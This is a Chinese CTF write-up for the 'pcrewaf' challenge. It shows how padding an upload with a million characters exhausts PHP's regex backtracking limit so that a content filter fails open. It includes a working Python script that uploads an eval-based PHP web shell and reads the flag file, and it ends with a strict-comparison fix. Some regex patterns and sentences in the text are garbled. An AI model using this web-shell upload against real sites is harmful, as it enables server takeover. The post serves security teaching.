moodle php代码解读_代码审计从入门到放弃(二) & pcrewaf

前言

继续之前的2018 Code Breaking,这次是一道关于php回溯bypass正则的题目:pcrewaf

题目概述

题目源码如下

function is_php($data){

   return preg_match('/?>].*/is', $data);

}

if(empty($_FILES)) {

   die(show_source(__FILE__));

}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);

$data = file_get_contents($_FILES['file']['tmp_name']);

if (is_php($data)) {

   echo "bad request";

} else {

   @mkdir($user_dir, 0755);

   $path = $user_dir . '/' . random_int(0, 10) . '.php';

   move_uploaded_file($_FILES['file']['tmp_name'], $path);

   header("Location: $path", true, 303);

}

题目源码比较清晰,应该是一个上传问题,我们依次解读一下: 首先我们确定上传目录

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);

然后我们上传的文件内容会被读取

$data = file_get_contents($_FILES['file']['tmp_name']);

紧接着内容会进入正则进行匹配,以判断我们上传的文件内容里是否有php代码

function is_php($data){

   return preg_match('/].*/is', $data);

}

如果带有phg代码,贼会打印bad request 若不带有php代码,则会将我们的文件进行保存

@mkdir($user_dir, 0755);

$path = $user_dir . '/' . random_int(0, 10) . '.php';

move_uploaded_file($_FILES['file']['tmp_name'], $path);

然后在http返回头里给我们文件路径

header("Location: $path", true, 303);

}

那么现在思路应该很清晰了:题目并没有禁止我们上传php文件,但是对文件内容进行了过滤,禁止我们写入php代码。 所以现在的思路应该就是:bypass正则

preg_match('/].*/is', $data);

上传php文件getshell

正则分析

当我们输入一个正常的php文件内容时

我们可以看到正则的全部流程如下 首先正则开始寻找<f815511b41bffbd701e856320f880837.png

找到<后,然后正则再开始寻找?

d38f2e94921384cf1a21db7af276ad0d.png

找到后,正则开始匹配.*

4fdf35f2e8e803acece3cd916a518855.png

可以在step4中看到,正则因为.*匹配上了后所有的字符,但此时正则没有结束,又开始继续寻找

[(`;?>]

ee29dd3f03bfe62f62036987e77f41a7.png

于是正则开始回溯,在末位找到>

66433a190dbf6884938ab2bfa95599d1.png

b1047f629b2b473917d765617af4c36d.png

fc69d195602b9203e0a5de1acf1a0db4.png

所以这里的正则大致意思可以明确为,寻找开头和

[(`;?>]

结尾的字符串。 那么我们怎么绕过呢? 一般情况下,我们会思考能否绕过php tags 例如

来绕过过滤呢? 答案显然是否定的,我们注意到题目的php版本号

< HTTP/1.1 200 OK

< Date: Tue, 05 Mar 2019 08:19:19 GMT

< Server: Apache/2.4.25 (Debian)

< X-Powered-By: PHP/7.1.26

< Vary: Accept-Encoding

< Content-Length: 3965

< Content-Type: text/html; charset=utf-8

这里是php7,我们观察到官方手册

80b7bd7a4db369918afe2445093cff5a.png

在php7中,这些tags都已经被移除,我们无法靠这个方式去bypass正则,那么应该如何去解呢?

php正则回溯法

这里要讲到ph牛的一篇文章

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

个人感觉ph解析的非常到位,我这里简单概述一下 我们从上面的正则流程应该能看出一些端倪,在step3到step4的时候,正则匹配完整个字符串,但因为正则没有结束,所以从后往前开始回溯寻找

[(`;?>]

那么有没有可能我们让他一直回溯,一直难以找到,直到我们达成正则表达式的拒绝服务攻击(reDOS)呢? 我们不妨构造如下payload

<?php phpinfo(); //skyskyskyskyskyskyskyskysky........sky

(省略号代表n多sky) 这里一直到step3都是和之前一样,但从回溯开始就发生了变化: 首先我们结尾没有用

[(`;?>]

所以正则需要不断从后往前回溯,一直找到phpinfo()后的那个分号

56f033f3497215ce1b94ee5864b1fbfc.png

9acfb4e181cb7eccaebc00e2cc7b587d.png

我们可以看到正则匹配次数会随我们的sky增长而增长。 这样显然是不行的,因为我们的payload后的sky字符串可以无限延长,那么正则匹配次数不可能达到那么大的数值。所以它会不会有一个上限呢? 我们可以测试

➜  ~ php -a

Interactive shell

php > var_dump(ini_get('pcre.backtrack_limit'));

string(7) "1000000"

可以发现次数为100万次,那么如果超过100万次会怎么样呢? 我们继续测试: 正常匹配成功情况下

php > var_dump(preg_match('/].*/is', '<?php phpinfo(); //aaa'));

int(1)

返回了1 正常匹配失败情况下

php > var_dump(preg_match('/].*/is', '2333333'));

int(0)

回溯达到上限情况下

php > var_dump(preg_match('/].*/is', '<?php phpinfo();//'.str_repeat('a', 1000000)));

bool(false)

我们发现返回了false

漏洞点攻击

既然我们发现达到回溯上限会返回false,我们再看一遍题目的正则

function is_php($data){

   return preg_match('/?>].*/is', $data);

}

if (is_php($data)) {

   echo "bad request";

}

我们可以构造如下文本内容

<?php phpinfo();//'.str_repeat('a', 1000000)

这样达到回溯上限后,is_php就会return false 那么往下的if判断中得到的结果就会为

if(false)

我们自然就避开了过滤,达到了文件上传的目的

payload编写与getflag

import requests

from io import BytesIO

files = {

 'file': BytesIO('<?php eval($_REQUEST[sky]);//'+'a' * 1000000)

}

r = requests.post('http://106.14.114.127:22001/index.php', files=files, allow_redirects=False)

path = r.headers['Location']

url = 'http://106.14.114.127:22001/'+path

# print url

data = {

   # 'sky':"var_dump(scandir('../../../'));"

   'sky':"var_dump(file_get_contents('../../../flag_php7_2_1s_c0rrect'));"

}

r = requests.post(url=url,data=data)

print r.content

我们运行即可得到flag

➜  Desktop python sky.py

string(38) "flag{216728a834fb4c1e0bc6893e135f436e}"

修复方案

参照之前的测试,我们发现回溯失败的时候返回是false,而正常情况是0或者1,所以这里我们只要在if判断时,使用===即可,如下

if (is_php($data) === 1) {

   echo "bad request";

}

小结

不得不膜一下p神,为许多正则Bypass提供了这么多奇技淫巧,这一点和之前的\打头的正则Bypass都能在日后测试中为我们拓宽攻击面。

相关实验操作

 透PHP代码审计——学习PHP代码审计的基础知识,为以后的工作奠定基础。

点击文末

5453e0520e112a6bc80811076a96256c.png

f356f2ad089ac1ab13cee747f32ee901.gif

别忘了投稿哦

大家有好的技术原创文章

欢迎投稿至邮箱:edu@heetian.com 

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予100元-500元不等的稿费哦

有才能的你快来投稿吧!

了解投稿详情点击重金悬赏 | 合天原创投稿等你来!

8a6bc95c2a130e6bb991956591d9d08e.gif

a2a3079bea03930b45236291410fb94a.gif
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值